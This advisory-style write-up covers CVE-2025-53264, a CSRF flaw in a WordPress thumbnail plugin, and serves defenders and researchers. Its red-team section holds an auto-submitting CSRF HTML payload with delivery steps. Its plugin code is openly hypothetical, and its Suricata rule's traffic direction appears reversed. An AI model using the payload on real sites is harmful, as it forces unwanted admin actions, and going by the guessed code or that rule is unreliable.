CVE-2025-53264

Executive Summary

CVE-2025-53264 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin ONet Regenerate Thumbnails (slug: onet-regenerate-thumbnails), developed by Konrád Koller. This plugin is designed to regenerate image thumbnails within the WordPress media library. The vulnerability affects all versions from n/a through 1.5. A successful CSRF attack can trick an authenticated administrator into performing unintended actions, such as regenerating thumbnails without their consent, potentially leading to resource exhaustion or denial of service. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory. Users who have installed this plugin from the directory are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby registries. The lack of a patch and the plugin's unmaintained status (last updated unknown) increases supply chain risk for any site using it.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): Low (L) – The attacker can trigger thumbnail regeneration, but cannot modify arbitrary data.
• Availability (A): None (N) – No direct denial of service, though repeated regeneration could degrade performance.

Threat Level: Medium. The attack requires user interaction and only affects integrity in a limited way. However, in a WordPress ecosystem, this could be chained with other vulnerabilities (e.g., XSS) to escalate impact.

Deep Dive & Mechanics

The vulnerability lies in the lack of CSRF protection (nonce verification) for the thumbnail regeneration action. In WordPress, actions that modify data (like regenerating thumbnails) should include a nonce to verify the request came from the intended user. The onet-regenerate-thumbnails plugin fails to implement this check.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing a form or image tag that triggers a POST/GET request to the vulnerable WordPress admin endpoint (e.g., /wp-admin/admin-ajax.php?action=onet_regenerate_thumbnails).
2. The attacker lures an authenticated WordPress administrator to visit this page.
3. The victim's browser automatically sends the forged request, including their session cookies.
4. The plugin processes the request without verifying the nonce, causing unintended thumbnail regeneration.

Impact: While the direct impact is limited to regenerating thumbnails, this could be used to:

• Cause server load by repeatedly regenerating thumbnails.
• Overwrite custom thumbnail sizes.
• In combination with other vulnerabilities (e.g., stored XSS), escalate to full site compromise.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the vulnerable code pattern. The plugin likely uses a function like:

// Vulnerable code (hypothetical)
add_action('wp_ajax_onet_regenerate_thumbnails', 'onet_regenerate_thumbnails_callback');
function onet_regenerate_thumbnails_callback() {
    // No nonce check
    $attachment_id = intval($_POST['attachment_id']);
    // Regenerate thumbnails...
}

A patched version would include:

// Patched code (hypothetical)
add_action('wp_ajax_onet_regenerate_thumbnails', 'onet_regenerate_thumbnails_callback');
function onet_regenerate_thumbnails_callback() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'onet_regenerate_thumbnails_nonce')) {
        wp_die('Security check failed.');
    }
    $attachment_id = intval($_POST['attachment_id']);
    // Regenerate thumbnails...
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with the vulnerable plugin installed and an active admin session.
• Attacker-controlled web server or ability to host a malicious page.

Step 1: Craft the CSRF Payload Create an HTML file (csrf.html) that automatically submits a form to the vulnerable endpoint:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf-form">
  <input type="hidden" name="action" value="onet_regenerate_thumbnails">
  <input type="hidden" name="attachment_id" value="1">
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

Step 2: Host and Deliver Host the file on your attacker server and send the link to the victim (e.g., via email or social engineering).

Step 3: Trigger When the victim (logged in as admin) visits the link, the form auto-submits, and thumbnails are regenerated.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual spikes in admin-ajax.php requests with the action=onet_regenerate_thumbnails parameter.
• Check for missing _wpnonce parameter in such requests.
• Use the Sigma rule below to detect CSRF attempts.

Mitigation:

• Disable or remove the plugin immediately.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=onet_regenerate_thumbnails unless a valid nonce is present.
• Educate administrators about phishing attacks.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action=onet_regenerate_thumbnails and no _wpnonce parameter.
  • Referer header from an external domain (indicating CSRF).
• File System:
  • Presence of the plugin directory: /wp-content/plugins/onet-regenerate-thumbnails/
  • Plugin version file: /wp-content/plugins/onet-regenerate-thumbnails/readme.txt (version <= 1.5)
• Logs:
  • WordPress debug log entries showing wp_ajax_onet_regenerate_thumbnails calls without nonce.

Detection Engineering

YARA Rule

rule CVE_2025_53264_CSRF_Plugin {
    meta:
        description = "Detects the vulnerable ONet Regenerate Thumbnails plugin"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $plugin_slug = "onet-regenerate-thumbnails"
        $vuln_func = "onet_regenerate_thumbnails_callback"
        $no_nonce = "wp_verify_nonce" nocase
    condition:
        $plugin_slug and $vuln_func and not $no_nonce
}

Sigma Rule

title: CSRF Attempt Against ONet Regenerate Thumbnails
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSRF attempts targeting the vulnerable plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=onet_regenerate_thumbnails'
        cs-referer|re: '^https?://(?!target-site\.com)'
    condition: selection
falsepositives:
    - Legitimate admin actions from same origin
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-53264 CSRF Attempt - ONet Regenerate Thumbnails"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=onet_regenerate_thumbnails"; http_uri; pcre:"/Referer:[^\r\n]*https?:\/\/(?!target-site\.com)/Hi"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the onet-regenerate-thumbnails plugin from the WordPress admin panel.
2. Apply virtual patching: Use a WAF to block requests to admin-ajax.php with action=onet_regenerate_thumbnails unless a valid nonce is present.
3. Audit user activity: Check logs for any unauthorized thumbnail regeneration.

Long-term Solutions:

• Replace the plugin: Use an alternative, actively maintained plugin for thumbnail regeneration (e.g., "Regenerate Thumbnails" by Alex Mills).
• Monitor for patches: Subscribe to WordPress plugin update notifications for onet-regenerate-thumbnails.
• Implement CSRF protection: Ensure all WordPress admin actions use nonces.

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